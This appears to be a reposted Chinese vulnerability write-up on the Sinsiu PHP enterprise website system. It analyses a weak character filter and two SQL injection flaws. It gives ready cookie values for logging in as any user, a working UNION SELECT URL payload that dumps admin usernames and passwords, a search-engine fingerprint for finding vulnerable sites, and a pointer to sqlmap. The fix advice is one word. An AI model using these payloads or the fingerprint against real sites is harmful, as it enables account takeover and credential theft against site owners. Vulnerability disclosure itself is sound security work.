新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择;后台功能齐全,操作简便,可扩展性良好,具有较高安全性;前台可设置成同时显示多国语言,适合用于外贸企业建站;系统采用了目前业界著名的PHP模板引擎Smarty,熟悉Smarty的开发人员可以方便、快速地制作出sinsiu模板。 sql#1 /include/function.php function strict($str) { if(S_MAGIC_QUOTES_GPC) { $str = stripslashes($str); gpc的话就去掉转义符(故意给我们注入的么。。。) } $str = str_replace('<','<',$str); $str = str_replace('>','>',$str); $str = str_replace('?','?',$str); $str = str_replace('%','%',$str); $str = str_replace(chr(39),''',$str); $str = str_replace(chr(34),'"',$str); $str = str_replace(chr(13).chr(10),'<br />',$str); return $str; /过滤一些字符,可以看到单引号没了 } 前台提交参数的地方都 urlencode后带入数据库了 (有一处我们后面再讲、),利用这个点,能注入的地方只找到一处。 同一文件 function check_user_login() { global $user_id; $username = get_cookie('user_username'); $password = get_cookie('user_password'); if($username != '' && $password != '') { $obj = new users(); $obj->set_field('use_id'); $obj->set_where("use_username = '$username'"); $obj->set_where("use_password = '$password'"); $one = $obj->get_one(); if(count($one) !== 0) { $user_id = $one['use_id']; return intval($user_id); }else{ return 0; } }else{ return 0; } } 我们修改cookie user_username = aa\ ;user_password=or use_id = 1 %23 看sql日志 ,执行的语句为 可伪造任意用户登入,没有报错 ,所以 亦可盲注、 sql#2 (伪静态注入) /index/search.php
set_smarty(); load_lang_pack(array($global['channel'])); initial('index'); if(isset($global['key'])) { $smarty->assign('page_title',rawurldecode($global['key'])); } $smarty->display('search.php'); 这里,我们的数据url编码后 又进行了解码。导致单引号的代入, 官网下的默认数据库结构的话 exp为 ?/search/index.html/key-%%27%20union%20select%20adm_username,adm_password,3%20from%20php_admin%23/
关键字 Powered by sinsiu 粤ICP备12345678号 存在 ?/search/ 页面即可注入(他有两个版本,asp版没找到注入) 实测大部分数据结构做了变更,建议测试用sqlmap。 提供5个实例用以证明其通用性
修复方案:过滤 |
-
上一篇: 某OA系统两处SQL注射到GetShell(含详细修复方案)
下一篇: TerraMaster NAS网络存储高危漏洞 - 网站安全 - 自学
还没有人抢沙发呢~